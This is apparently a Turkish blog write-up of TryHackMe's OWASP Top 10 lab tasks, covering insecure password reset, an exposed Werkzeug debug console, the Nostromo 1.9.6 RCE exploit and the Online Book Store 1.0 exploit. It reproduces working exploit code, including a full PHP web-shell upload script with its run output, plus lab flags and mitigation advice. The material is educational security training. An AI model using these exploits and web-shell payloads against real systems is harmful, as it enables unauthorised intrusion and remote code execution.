Güvensiz tasarım, uygulamanın mimarisinde doğuştan gelen güvenlik açıklarını ifade eder. Bu açıklar, kötü uygulamalar veya yanlış yapılandırmalardan kaynaklanmaz; aksine, tüm uygulamanın (veya bir kısmının) temel fikri baştan itibaren hatalıdır. Çoğu zaman, bu tür güvenlik açıkları, uygulamanın planlama aşamalarında yetersiz tehdit modellemesi yapıldığında ortaya çıkar ve nihai uygulamaya kadar yayılır. Bazı durumlarda ise, güvensiz tasarım açıkları, geliştiricilerin test süreçlerini kolaylaştırmak için koda “kısayollar” eklemesiyle de oluşabilir. Örneğin, bir geliştirici, geliştirme aşamasında OTP (tek kullanımlık şifre) doğrulamasını devre dışı bırakarak uygulamanın geri kalanını her oturum açışta manuel olarak kod girmek zorunda kalmadan hızlıca test edebilir, ancak uygulamayı üretime gönderirken bunu yeniden etkinleştirmeyi unutabilir.

Güvensiz Şifre Sıfırlama

Bu tür güvenlik açıklarına iyi bir örnek, bir süre önce Instagram’da yaşandı. Instagram, kullanıcıların unutulan şifrelerini sıfırlamalarına olanak tanımak için cep telefonlarına SMS yoluyla 6 haneli bir doğrulama kodu gönderiyordu. Eğer bir saldırgan bir kurbanın hesabına erişmek isterse, bu 6 haneli kodu kaba kuvvet (brute-force) yöntemiyle tahmin etmeye çalışabilirdi. Beklendiği üzere, bu doğrudan mümkün değildi çünkü Instagram, 250 denemeden sonra kullanıcının daha fazla deneme yapmasını engelleyen bir hız sınırlama (rate-limiting) mekanizması uygulamıştı.

Kaba kuvvet kodu

Ancak, bu hız sınırlamanın yalnızca aynı IP adresinden yapılan kod denemelerine uygulandığı fark edildi. Eğer bir saldırgan farklı IP adreslerinden istek gönderirse, her IP için 250 kod deneyebilirdi. 6 haneli bir kod için toplamda 1 milyon olası kombinasyon bulunur; bu durumda bir saldırganın tüm olası kodları kapsayabilmesi için 1.000.000 / 250 = 4000 IP adresine ihtiyacı olurdu. Bu, çok büyük bir IP adresi sayısı gibi görünebilir, ancak bulut servisleri sayesinde bu IP’leri nispeten düşük bir maliyetle elde etmek mümkün hale gelir ve bu saldırı uygulanabilir bir hale dönüşür.

Dağıtılmış kaba kuvvet

Burada güvenlik açığının, hiçbir kullanıcının binlerce IP adresini kullanarak aynı anda istekte bulunup sayısal bir kodu kaba kuvvetle çözemeyeceği fikrine dayandığını fark edin. Sorun, uygulamanın uygulanışından ziyade tasarımında yatmaktadır.

Güvensiz tasarım açıkları, geliştirme sürecinin çok erken bir aşamasında ortaya çıktığı için, bunları çözmek genellikle uygulamanın savunmasız bölümünü baştan inşa etmeyi gerektirir ve genelde diğer basit kodla ilgili güvenlik açıklarından daha zor düzeltilir. Bu tür güvenlik açıklarından kaçınmanın en iyi yolu, geliştirme yaşam döngüsünün erken aşamalarında tehdit modellemesi yapmaktır. Güvenli geliştirme yaşam döngülerini nasıl uygulayacağınız hakkında daha fazla bilgi edinmek için SSDLC odasına göz atmayı unutmayın.

Pratik Örnek

Joseph’in hesabına erişin. Bu uygulama da şifre sıfırlama mekanizmasında bir tasarım kusuruna sahip. Önerilen tasarımın zayıf noktasını bulup bunu nasıl kötüye kullanacağınızı çözebilecek misiniz?

Bayrak Yakalamaca

  • 85 portuna gidip bir bakalım:

  • joseph’in parolasını bilmiyoruz. Parola sıfırlama tuşuna tıklayalım. Belki bir şeyler buluruz:

  • Favori rengini sordu. Eğer bir rate-limit yapmadılarsa bütün renkleri deneyip belki bir sonuca ulaşabiliriz:

  • Webden kısa bir arama ile bir renk listesi bulabiliriz:

  • Burp Suite ile isteği yakalayıp kesince bu şekilde karşımıza çıkıyor:

  • red kısmını işaretleyip renk listemizi sağa yapıştıralım ve intrude edelim:

  • Bütün sonuçlar 200 döndü. Ancak response’ların uzunluklarına bakarsak bir tanesi farklı:

  • Favori rengi green olarak verelim ve parola sıfırlamaya çalışalım:

  • Parolamızı başarıyla sıfırladı. Şimdi giriş yapalım:

  • Sol taraftan Private sekmesine bakalım:

  • Bayrağımızı THM{Not_3ven_c4tz_c0uld_sav3_U!} olarak bulduk.

Görev 12: 🛑 Security Misconfiguration

Güvenlik Yanlış Yapılandırmaları, diğer Top 10 güvenlik açıklarından farklıdır çünkü bu tür açıklar, güvenlik ayarlarının doğru bir şekilde yapılandırılabilecekken yapılmaması durumunda ortaya çıkar. En güncel yazılımı indirseniz bile, yanlış yapılandırmalar kurulumunuzu savunmasız hale getirebilir.

Güvenlik yanlış yapılandırmaları şunları içerir:

  • Bulut hizmetlerinde yanlış yapılandırılmış izinler, örneğin S3 depoları.
  • Gereksiz özelliklerin etkin bırakılması, örneğin hizmetler, sayfalar, hesaplar veya ayrıcalıklar.
  • Varsayılan hesapların değiştirilmemiş şifrelerle bırakılması.
  • Hata mesajlarının aşırı detaylı olması ve saldırganların sistem hakkında daha fazla bilgi edinmesine olanak tanıması.
  • HTTP güvenlik başlıklarının kullanılmaması.

Bu güvenlik açığı, genellikle daha fazla güvenlik açığına yol açabilir; örneğin, varsayılan kimlik bilgileri hassas verilere erişim sağlayabilir, XML Dış Varlıkları (XXE) veya yönetici sayfalarında komut enjeksiyonu gibi sorunlar ortaya çıkabilir.

Daha fazla bilgi için, OWASP Top 10 Güvenlik Yanlış Yapılandırma girişine bakabilirsiniz.

Hata Ayıklama Arayüzleri

Yaygın bir güvenlik yanlış yapılandırması, üretim ortamındaki yazılımlarda hata ayıklama özelliklerinin açık bırakılmasıyla ilgilidir. Hata ayıklama özellikleri, genellikle programlama çerçevelerinde geliştiricilerin, uygulama geliştirilirken hata ayıklamaya yardımcı olacak gelişmiş işlevlere erişmesine olanak tanır. Ancak, geliştiriciler bu özellikleri yayına almadan önce devre dışı bırakmayı unutursa, saldırganlar bu hata ayıklama işlevlerini kötüye kullanabilir.

Böyle bir güvenlik açığının örneği, 2015 yılında Patreon’un hacklenmesi olayında kullanıldığı iddia edilmiştir. Patreon hacklenmeden beş gün önce, bir güvenlik araştırmacısı Patreon’a, Werkzeug konsolu için açık bir hata ayıklama arayüzü bulduğunu bildirmişti. Werkzeug, Python tabanlı web uygulamalarında temel bir bileşendir ve web sunucularının Python kodunu çalıştırması için bir arayüz sağlar. Werkzeug, /console URL’si üzerinden erişilebilen bir hata ayıklama konsolu içerir veya uygulama bir istisna (exception) oluşturduğunda bu konsol kullanıcıya sunulur. Her iki durumda da, konsol size gönderdiğiniz herhangi bir kodu çalıştırabilen bir Python konsolu sağlar. Bir saldırgan için bu, komutları keyfi bir şekilde çalıştırabileceği anlamına gelir.

Werkzeug Konsolu

Pratik Örnek

Bu VM, OWASP Top 10 Güvenlik Açıkları listesinin bir parçası olarak Güvenlik Yanlış Yapılandırmasını sergiler.

Bayrak Yakalamaca

Şimdi 86 portuna gidip ve güvenlik yanlış yapılandırmasını kullanarak uygulamanın kaynak kodunu okumayı deneyelim.

  • Verilen porta gidelim:

  • Bir todo uygulaması var. /console yoluna gidelim:

  • Burada bir kabuğa ulaşıyoruz. Python kodu çalıştırabilir miyiz diye baktık:

    import os; print(os.popen("ls -l").read())

  • app.py dosyasının içini okuduk:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    
    [console ready]
    >>> import os; print(os.popen("ls -l").read())
    total 24
    -rw-r--r--    1 root     root           249 Sep 15  2022 Dockerfile
    -rw-r--r--    1 root     root          1411 Feb  3  2023 app.py
    -rw-r--r--    1 root     root           137 Sep 15  2022 requirements.txt
    drwxr-xr-x    2 root     root          4096 Sep 15  2022 templates
    -rw-r--r--    1 root     root          8192 Sep 15  2022 todo.db
    
    >>> import os; print(os.popen("cat app.py").read())
    import os
    from flask import Flask, render_template, request, redirect, url_for
    from flask_sqlalchemy import SQLAlchemy
    
    secret_flag = "THM{Just_a_tiny_misconfiguration}"
    
    PROJECT_ROOT = os.path.dirname(os.path.realpath(__file__))
    DATABASE = os.path.join(PROJECT_ROOT, 'todo.db')
    
    app = Flask(__name__)
    app.config['SQLALCHEMY_DATABASE_URI'] = "sqlite:////" + DATABASE
    db = SQLAlchemy(app)
    
    
    class Todo(db.Model):
        id = db.Column(db.Integer, primary_key=True)
        title = db.Column(db.String(80))
        complete = db.Column(db.Boolean)
    
    
    @app.route("/")
    def index():
        todo_list = Todo.query.all()
        return render_template("index.html", todo_list=todo_list)
    
    
    @app.route("/add", methods=["POST"])
    def add():
        title = request.form.get("title")
        new_todo = Todo(title=title, complete=False)
        db.session.add(new_todo)
        db.session.commit()
        return redirect(url_for("index"))
    
    
    @app.route("/complete/<string:todo_id>")
    def complete(todo_id):
        todo = Todo.query.filter_by(id=todo_id).first()
        todo.complete = not todo.complete
        db.session.commit()
        return redirect(url_for("index"))
    
    
    @app.route("/delete/<string:todo_id>")
    def delete(todo_id):
        todo = Todo.query.filter_by(id=todo_id).first()
        db.session.delete(todo)
        db.session.commit()
        return redirect(url_for("index"))
    
    
    if __name__ == "__main__":
        db.create_all()
        app.run(host='0.0.0.0', port=5000, debug=True)
    

Bayrağı yakaladık: THM{Just_a_tiny_misconfiguration}. Bu bir veritabanı gizli linki de olabilirdi.

Görev 13: 🛑 Vulnerable and Outdated Components

Bazen, bir şirketin veya kuruluşun penetrasyon testi (sızma testi) yaparken, kullandıkları bir programın iyi bilinen bir güvenlik açığına sahip olduğunu fark edebilirsiniz.

Örneğin, bir şirketin WordPress sürümünü birkaç yıldır güncellemediğini varsayalım. WPScan gibi bir araç kullanarak, sitenin WordPress 4.6 sürümünde çalıştığını tespit edebilirsiniz. Kısa bir araştırma yaptığınızda, WordPress 4.6’nın kimlik doğrulaması gerektirmeyen bir uzaktan kod çalıştırma (RCE) açığına sahip olduğunu öğrenirsiniz. Daha da iyisi, bu açık için hazır bir exploit’i Exploit-DB adresinde bulabilirsiniz.

Gördüğünüz gibi, bu durum oldukça ciddi bir tehlike yaratır çünkü saldırganın çok az çaba sarf etmesi yeterlidir. Açık zaten iyi bilindiği için, büyük olasılıkla başka biri bu güvenlik açığı için bir exploit geliştirmiştir. İşler, böyle bir durumun ne kadar kolay gerçekleşebileceğini düşündüğünüzde daha da kötüleşir. Eğer bir şirket, kullandığı bir programın tek bir güncellemesini bile kaçırırsa, bu program sayısız saldırıya karşı savunmasız hale gelebilir.

Görev 14: Vulnerable and Outdated Components - Sömürü (Exploit)

Bilinen güvenlik açıklarıyla ilgili olduğundan, işin çoğu zaten bizim için yapılmış durumda. Ana görevimiz, kullanılan yazılımın bilgilerini bulmak ve bir exploit (istismar kodu) bulana kadar araştırmak. Bunu bir örnek web uygulamasıyla adım adım inceleyelim.

Nostromo 1.9.6

Bakın ne bulduk! Bu sunucu, Nostromo web sunucusunun varsayılan sayfasını kullanıyor. Artık elimizde bir sürüm numarası (1.9.6) ve bir yazılım adı var. Şimdi Exploit-DB sitesini kullanarak bu sürüm için bir exploit bulmaya çalışabiliriz.

Şanslıyız, en üstteki sonuç bir exploit betiği. Hadi bunu indirelim ve kod çalıştırmayı deneyelim. Betiği doğrudan çalıştırdığımızda çok önemli bir ders öğreniyoruz:

1
2
3
4
5
user@linux$ python 47837.py
Traceback (most recent call last):
  File "47837.py", line 10, in <module>
    cve2019_16278.py
NameError: name 'cve2019_16278' is not defined

İnternetten indirdiğiniz exploitler her zaman ilk seferde çalışmayabilir. Betiğin yazıldığı programlama dilini anlamak faydalıdır; böylece gerekirse hataları düzeltebilir veya değişiklikler yapabilirsiniz. Exploit-DB’deki pek çok betik, sizin bazı düzenlemeler yapmanızı bekler.

Neyse ki, bu hata, yorum satırı olması gereken bir satırdan kaynaklanıyor. Bu yüzden düzeltmesi kolay:

1
2
3
4
5
6
7
8
9
10
11
12
# Exploit Title: nostromo 1.9.6 - Remote Code Execution
# Date: 2019-12-31
# Exploit Author: Kr0ff
# Vendor Homepage:
# Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz
# Version: 1.9.6
# Tested on: Debian
# CVE : CVE-2019-16278

cve2019_16278.py  # This line needs to be commented.

#!/usr/bin/env python

Bu düzeltmeyi yaptıktan sonra programı tekrar çalıştıralım:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
user@linux$ python2 47837.py 127.0.0.1 80 id


                                        _____-2019-16278
        _____  _______    ______   _____\    \
   _____\    \_\      |  |      | /    / |    |
  /     /|     ||     /  /     /|/    /  /___/|
 /     / /____/||\    \  \    |/|    |__ |___|/
|     | |____|/ \ \    \ |    | |       \
|     |  _____   \|     \|    | |     __/ __
|\     \|\    \   |\         /| |\    \  /  \
| \_____\|    |   | \_______/ | | \____\/    |
| |     /____/|    \ |     | /  | |    |____/|
 \|_____|    ||     \|_____|/    \|____|   | |
        |____|/                        |___|/




HTTP/1.1 200 OK
Date: Fri, 03 Feb 2023 04:58:34 GMT
Server: nostromo 1.9.6
Connection: close

uid=1001(_nostromo) gid=1001(_nostromo) groups=1001(_nostromo)

İşte oldu! Uzaktan kod çalıştırma (RCE) elde ettik. Şunu unutmayın: Çoğu betik, çalıştırmak için hangi parametreleri vermeniz gerektiğini size söyler. Exploit geliştiricileri, nasıl kullanılacağını anlamanız için yüzlerce satır kodu okumanızı nadiren bekler.

Ayrıca şunu da belirtelim: Her zaman bu kadar kolay olmayabilir. Bazen, bu örnekte olduğu gibi sadece bir sürüm numarası bulursunuz. Ancak diğer durumlarda HTML kaynak kodunu incelemeniz veya exploit betiği için tahminde bulunmanız gerekebilir. Yine de, eğer bilinen bir güvenlik açığıysa, uygulamanın hangi sürümde çalıştığını keşfetmenin genellikle bir yolu vardır.

İşte bu kadar! OWASP Top 10’un bu maddesinin en güzel yanı, işin büyük kısmının zaten yapılmış olması. Bizim yapmamız gereken tek şey biraz temel araştırma; zaten bir sızma testçisi olarak bunu sıkça yapıyorsunuz. Değil mi?

Görev 15: Güvenlik Açığı Olan ve Güncellenmemiş Bileşenler - Laboratuvar

Bayrak Yakalamaca

  • TryHackMe saçma sapan bir maddeleme kafasına sahip olduğu için bu başlık altında makinayı deneyeceğiz. 84 portuna gidelim:

  • Online kitap satış noktası? gibi bir şey yapmaya çabalamış bu arkadaş. Ancak acemi görünüyor çünkü satın? aldığı kodu düzenlemeden direkt yüklemiş. Sitenin başlığı hala CSE Bookstore olarak duruyor. Webde açık aramaya çabalayalım:

  • Bir exploit bulduk. Online Book Store 1.0 - Unauthenticated Remote Code Execution

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
    # Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution
    # Google Dork: N/A
    # Date: 2020-01-07
    # Exploit Author: Tib3rius
    # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
    # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
    # Version: 1.0
    # Tested on: Ubuntu 16.04
    # CVE: N/A
    
    import argparse
    import random
    import requests
    import string
    import sys
    
    parser = argparse.ArgumentParser()
    parser.add_argument('url', action='store', help='The URL of the target.')
    args = parser.parse_args()
    
    url = args.url.rstrip('/')
    random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
    
    payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
    
    file = {'image': (random_file + '.php', payload, 'text/php')}
    print('> Attempting to upload PHP web shell...')
    r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
    print('> Verifying shell upload...')
    r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
    
    if random_file in r.text:
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
        print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
        launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
        if launch_shell.lower() == 'y':
            while True:
                cmd = str(input('RCE $ '))
                if cmd == 'exit':
                    sys.exit(0)
                r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
                print(r.text)
    else:
        if r.status_code == 200:
            print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
        else:
            print('> Web shell failed to upload! The web server may not have write permissions.')
    
  • Denemeye başlayalım. Önce exploiti indirelim:

  • Şimdi çalıştırmaya çabalayalım:

    alt text

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ python3                                
    Python 3.12.8 (main, Feb  1 2025, 21:32:22) [GCC 14.2.0] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    >>> exit
    Use exit() or Ctrl-D (i.e. EOF) to exit
    >>> exit()
                                                                                                                                  
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ python3 47887.py http://10.10.245.228:84/
    > Attempting to upload PHP web shell...
    > Verifying shell upload...
    > Web shell uploaded to http://10.10.245.228:84/bootstrap/img/i2UTHQZO22.php
    > Example command usage: http://10.10.245.228:84/bootstrap/img/i2UTHQZO22.php?cmd=whoami
    > Do you wish to launch a shell here? (y/n): y
    RCE $ id
    uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
    
    RCE $ cat /opt/flag.txt 
    THM{But_1ts_n0t_my_f4ult!}
    
    RCE $ 
    
    1. python3 47887.py http://10.10.245.228:84/
      Bu komut, 47887.py adlı Python betiğini çalıştırarak belirtilen URL’ye (http://10.10.245.228:84/) bağlanır ve uzaktaki web sunucusuna bir PHP web shell (web kabuğu) yüklemeyi dener.

    2. Attempting to upload PHP web shell...
      Python betiği, belirtilen hedef URL’ye PHP web shell yüklemeyi dener.

    3. Verifying shell upload...
      Betik, PHP shell’in başarılı bir şekilde yüklendiğinden emin olmak için kontrol eder.

    4. Web shell uploaded to http://10.10.245.228:84/bootstrap/img/i2UTHQZO22.php
      PHP web shell, belirtilen dizine (bootstrap/img/) başarılı bir şekilde yüklenmiştir. Burada i2UTHQZO22.php adında bir dosya oluşturulmuştur.

    5. Example command usage: http://10.10.245.228:84/bootstrap/img/i2UTHQZO22.php?cmd=whoami
      Yüklenen PHP shell üzerinden, komut çalıştırmak için kullanılacak örnek bir URL sağlanır. cmd=whoami komutu, kullanıcının kimliğini öğrenmek için çalıştırılabilir.

    6. Do you wish to launch a shell here? (y/n): y
      PHP shell üzerinden bir komut satırı başlatmak istenip istenmediği sorulur. Burada “y” (yes) seçilerek komut satırı başlatılır.

    7. RCE $ id
      Komut satırında id komutu çalıştırılarak uzaktaki sistemdeki kullanıcı bilgileri alınır. Çıktı şu şekildedir:
      uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
      Burada Apache web sunucusu kullanıcısının kimlik bilgileri gösterilmektedir.

    8. RCE $ cat /opt/flag.txt
      /opt/flag.txt dosyasının içeriği okunur. Bu, bir “flag” (bayrak) dosyasına erişim sağlayarak, verilen ödül metnini (bu durumda “THM{But_1ts_n0t_my_f4ult!}”) elde eder.

    Böylece hedef makinaya uzaktan komut çalıştırarak (RCE - Remote Code Execution) önemli bilgilere ulaştık: THM{But_1ts_n0t_my_f4ult!} olarak yakaladık. Remote Code Execution. Aklında tut unutma.

Exploit Analizi: PHP Web Shell Yükleme

Bu exploit, hedef web sunucusuna PHP tabanlı bir web shell yükleyerek uzaktan komut çalıştırmayı (RCE) amaçlamaktadır. Aşağıda adım adım nasıl çalıştığını açıklıyoruz:

1. Gerekli Modüllerin ve Argümanların Tanımlanması

1
2
3
4
5
import argparse
import random
import requests
import string
import sys
  • argparse: Komut satırından URL parametresini almak için kullanılır.
  • random & string: Rastgele bir dosya adı oluşturmak için kullanılır.
  • requests: HTTP isteklerini göndermek için kullanılır.
  • sys: Shell açma sürecini kontrol etmek için kullanılır.

2. Kullanıcının Girdiği URL’yi Alır ve İşler

1
2
3
4
parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='The URL of the target.')
args = parser.parse_args()
url = args.url.rstrip('/')
  • Kullanıcıdan hedefin URL’sini alır.
  • rstrip('/') kullanılarak URL’nin sonunda / varsa kaldırılır.

3. Rastgele Bir PHP Dosya Adı Oluşturulur

1
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
  • 10 karakterlik rastgele bir dosya adı oluşturulur (örneğin, aB3dEfG9H1.php).
  • Böylece exploit her çalıştırıldığında farklı bir dosya adıyla yükleme yapar.

4. PHP Web Shell Payload’ı Tanımlanır

1
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
  • PHP kodu içeren bir web shell oluşturur.
  • shell_exec($_GET['cmd']) kullanarak URL üzerinden komut çalıştırmaya izin verir.
  • Örneğin:
    1
    
    http://target.com/bootstrap/img/aB3dEfG9H1.php?cmd=whoami
    

    çağrıldığında, hedef makinede whoami komutu çalıştırılır ve yanıt olarak döndürülür.

5. Web Shell’i Yüklemeye Çalışır

1
2
3
file = {'image': (random_file + '.php', payload, 'text/php')}
print('> Attempting to upload PHP web shell...')
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
  • Hedef sitedeki dosya yükleme açığını kullanarak PHP kodunu içeren bir dosya yükler.
  • requests.post() ile /admin_add.php sayfasına bir HTTP POST isteği gönderilir.
  • files parametresi ile PHP dosyası resim dosyası gibi yollanır.

Hedef sistemde dosya yükleme filtreleri yoksa veya MIME-type kontrolü yapılmıyorsa, PHP kodu çalıştırılabilir.

6. Web Shell’in Başarıyla Yüklenip Yüklenmediğini Kontrol Eder

1
2
print('> Verifying shell upload...')
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
  • Web shell’in yüklendiği dizine bir GET isteği gönderilir.
  • cmd=echo <random_file> çalıştırılarak, yüklenen PHP dosyasının çalışıp çalışmadığı test edilir.

7. Web Shell’in Yüklenip Yüklenmediğini Analiz Eder

Başarılı Olursa:
1
2
3
if random_file in r.text:
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
  • Eğer dönen yanıt içinde random_file varsa, bu shell’in çalıştığı anlamına gelir.
  • Kullanıcıya başarılı yükleme bilgisi verilir.
Shell Kullanıcıdan Komut Bekler
1
2
3
4
5
6
7
8
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
if launch_shell.lower() == 'y':
    while True:
        cmd = str(input('RCE $ '))
        if cmd == 'exit':
            sys.exit(0)
        r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
        print(r.text)
  • Kullanıcı shell başlatmak istiyor mu? diye sorar.
  • y derse, sonsuz döngüye girer ve kullanıcının girdiği komutları çalıştırır.

8. Web Shell Başarısız Olursa Kullanıcıya Bilgi Verir

1
2
3
4
5
else:
    if r.status_code == 200:
        print('> Web shell uploaded, but command execution failed. Perhaps shell_exec is disabled? Try changing the payload.')
    else:
        print('> Web shell failed to upload! The web server may not have write permissions.')
  • HTTP 200 döndüğü halde komut çalışmazsa, shell_exec veya diğer PHP fonksiyonlarının kısıtlanmış olabileceğini belirtir.
  • HTTP 200 dönmezse, sunucunun yazma izinlerinin kapalı olabileceği veya dosya yükleme işleminin başarısız olduğu kullanıcıya bildirilir.

Özet: Exploit Ne Yapıyor?

  1. Kullanıcıdan hedef URL’yi alır.
  2. 10 karakterlik rastgele bir dosya adı oluşturur.
  3. PHP web shell payload’ını tanımlar.
  4. Dosya yükleme açığı bulunan /admin_add.php sayfasına PHP kodunu yükler.
  5. Yüklenen shell’in çalıştığını doğrular.
  6. Shell başarıyla çalışıyorsa interaktif olarak komut çalıştırmaya izin verir.

Bu Açığa Karşı Korunma Yöntemleri

Dosya yükleme güvenliği sağlanmalı:

  • MIME-type ve uzantı doğrulaması yapılmalı.
  • .php veya .phtml gibi uzantılar kesinlikle engellenmeli.
  • exif_imagetype() ve getimagesize() gibi fonksiyonlarla dosyanın gerçekten bir resim olup olmadığı doğrulanmalı.

Dosya yükleme dizinine çalıştırma (execute) izni verilmemeli:

  • Sunucunun /bootstrap/img/ gibi dizinlerinde .php dosyalarının çalıştırılması yasaklanmalı.
  • Apache için .htaccess kullanarak:
    1
    2
    3
    4
    5
    
    <Directory "/var/www/html/uploads">
        Options -ExecCGI
        AddHandler cgi-script .php .phtml
        Deny from all
    </Directory>
    

PHP’de shell_exec() gibi fonksiyonlar kapatılmalı:

  • php.ini dosyasında şu satır eklenmeli:
    1
    
    disable_functions = shell_exec, exec, system, passthru, popen, proc_open
    

Web uygulamalarında güvenli kimlik doğrulama kullanılmalı:

  • /admin_add.php sayfası sadece yetkili kullanıcılar tarafından erişilebilir olmalı.
  • Güçlü parolalar ve iki faktörlü kimlik doğrulama (2FA) uygulanmalı.

Görev 16: 🛑 Identification and Authentication Failures

Kimlik Doğrulama Hataları

Kimlik Doğrulama ve Oturum Yönetimi Nedir?

Kimlik doğrulama ve oturum yönetimi, modern web uygulamalarının temel bileşenleridir. Kimlik doğrulama, kullanıcıların kimliklerini doğrulayarak web uygulamalarına erişmelerini sağlar. En yaygın kimlik doğrulama yöntemi, kullanıcı adı ve parola kullanmaktır. Kullanıcı bu bilgileri girer, sunucu bunları kontrol eder ve eğer doğruysa, kullanıcının tarayıcısına bir oturum çerezi (session cookie) gönderir.

Oturum çerezine ihtiyaç duyulmasının sebebi, web sunucularının HTTP(S) protokolüyle iletişim kurmasıdır. Bu protokol durumsuz (stateless) bir yapıdadır, yani her istek birbirinden bağımsızdır. Oturum çerezleri sayesinde sunucu, hangi kullanıcının hangi veriyi gönderdiğini takip edebilir. Böylece kullanıcıların uygulama içindeki eylemleri izlenebilir hale gelir.

Kimlik Doğrulama Hatalarının Riskleri

Eğer bir saldırgan, kimlik doğrulama mekanizmasında bir zayıflık bulursa, diğer kullanıcıların hesaplarına erişebilir. Bu, saldırganın hassas verilere ulaşmasına olanak tanır (uygulamanın amacına bağlı olarak). Kimlik doğrulama mekanizmalarındaki yaygın hatalar şunlardır:

  • Kaba Kuvvet Saldırıları (Brute Force Attacks): Eğer bir web uygulaması kullanıcı adı ve parola kullanıyorsa, bir saldırgan çok sayıda deneme yaparak bu bilgileri tahmin etmeye çalışabilir.
  • Zayıf Kimlik Bilgileri Kullanımı: Web uygulamaları güçlü parola politikaları uygulamalıdır. Eğer kullanıcılar “parola1” gibi basit veya yaygın parolalar seçebiliyorsa, saldırganlar bunları kolayca tahmin edebilir ve hesaplara erişebilir.
  • Zayıf Oturum Çerezleri: Oturum çerezleri, sunucunun kullanıcıları tanımasını sağlar. Eğer bu çerezler öngörülebilir değerler içeriyorsa, saldırganlar kendi çerezlerini oluşturup kullanıcı hesaplarına girebilir.

Kimlik Doğrulama Hatalarını Önleme Yöntemleri

Kimlik doğrulama mekanizmalarındaki hataları gidermek için alınabilecek önlemler, sorunun türüne göre değişir:

  • Parola Tahmin Saldırılarını Önlemek İçin: Uygulamanın güçlü bir parola politikası uyguladığından emin olun. Örneğin, karmaşık ve uzun parolalar zorunlu kılınabilir.
  • Kaba Kuvvet Saldırılarını Engellemek İçin: Uygulama, belirli bir deneme sayısından sonra hesabı otomatik olarak kilitlemelidir. Bu, saldırganın daha fazla tahmin yapmasını zorlaştırır.
  • Çok Faktörlü Kimlik Doğrulama (MFA): Kullanıcıların birden fazla doğrulama yöntemi kullanması sağlanabilir. Örneğin, kullanıcı adı ve parola ile birlikte cep telefonuna gelen bir kod istenebilir. Bu durumda, bir saldırganın hem parolayı hem de kodu ele geçirmesi çok daha zor olur.

Görev 17: Kimlik Doğrulama Mekanizmasındaki Mantık Hatası

Bu örnekte, kimlik doğrulama mekanizmasındaki bir mantık hatasını inceleyeceğiz.

Geliştirici Hatalarından Kaynaklanan Zafiyetler

Çoğu zaman, geliştiriciler kullanıcıdan gelen girdileri (kullanıcı adı ve parola gibi) uygulama kodunda düzgün bir şekilde temizlemeyi (sanitization) unutur. Bu durum, uygulamayı SQL enjeksiyonu gibi saldırılara karşı savunmasız hale getirebilir. Ancak bu sefer, geliştirici hatasından kaynaklanan ve sömürülmesi çok kolay olan farklı bir zafiyete odaklanacağız: mevcut bir kullanıcının yeniden kaydolması.

Örnekle Anlama

Bu durumu bir örnekle açıklayalım. Diyelim ki admin adında mevcut bir kullanıcı var ve biz bu hesaba erişmek istiyoruz. Yapabileceğimiz şey, bu kullanıcı adını ufak bir değişiklikle yeniden kaydettirmeye çalışmak. Örneğin, tırnak işaretleri olmadan “ admin” (başında boşluk olduğuna dikkat edin) şeklinde bir kullanıcı adı girebiliriz. Bu kullanıcı adını girip, gerekli diğer bilgileri (örneğin e-posta adresi veya parola) doldurduktan sonra formu gönderdiğimizde, yeni bir kullanıcı kaydolur. Ancak bu yeni kullanıcı, admin hesabıyla aynı yetkilere sahip olur ve admin kullanıcısına sunulan tüm içeriği görebilir.

Uygulamalı Örnek

Bunu denemek için 8088 portuna gidin ve kullanıcı adınız olarak darren ile kaydolmayı deneyin. “Bu kullanıcı zaten mevcut” uyarısı alacaksınız. Bunun yerine “ darren” (başında boşluk ile) olarak kaydolmayı deneyin. Ardından oturum açtığınızda, yalnızca darren hesabına özel olan içeriği görebileceksiniz. Bizim örneğimizde, bu içerik sizin almanız gereken bayrak (flag) olacak.

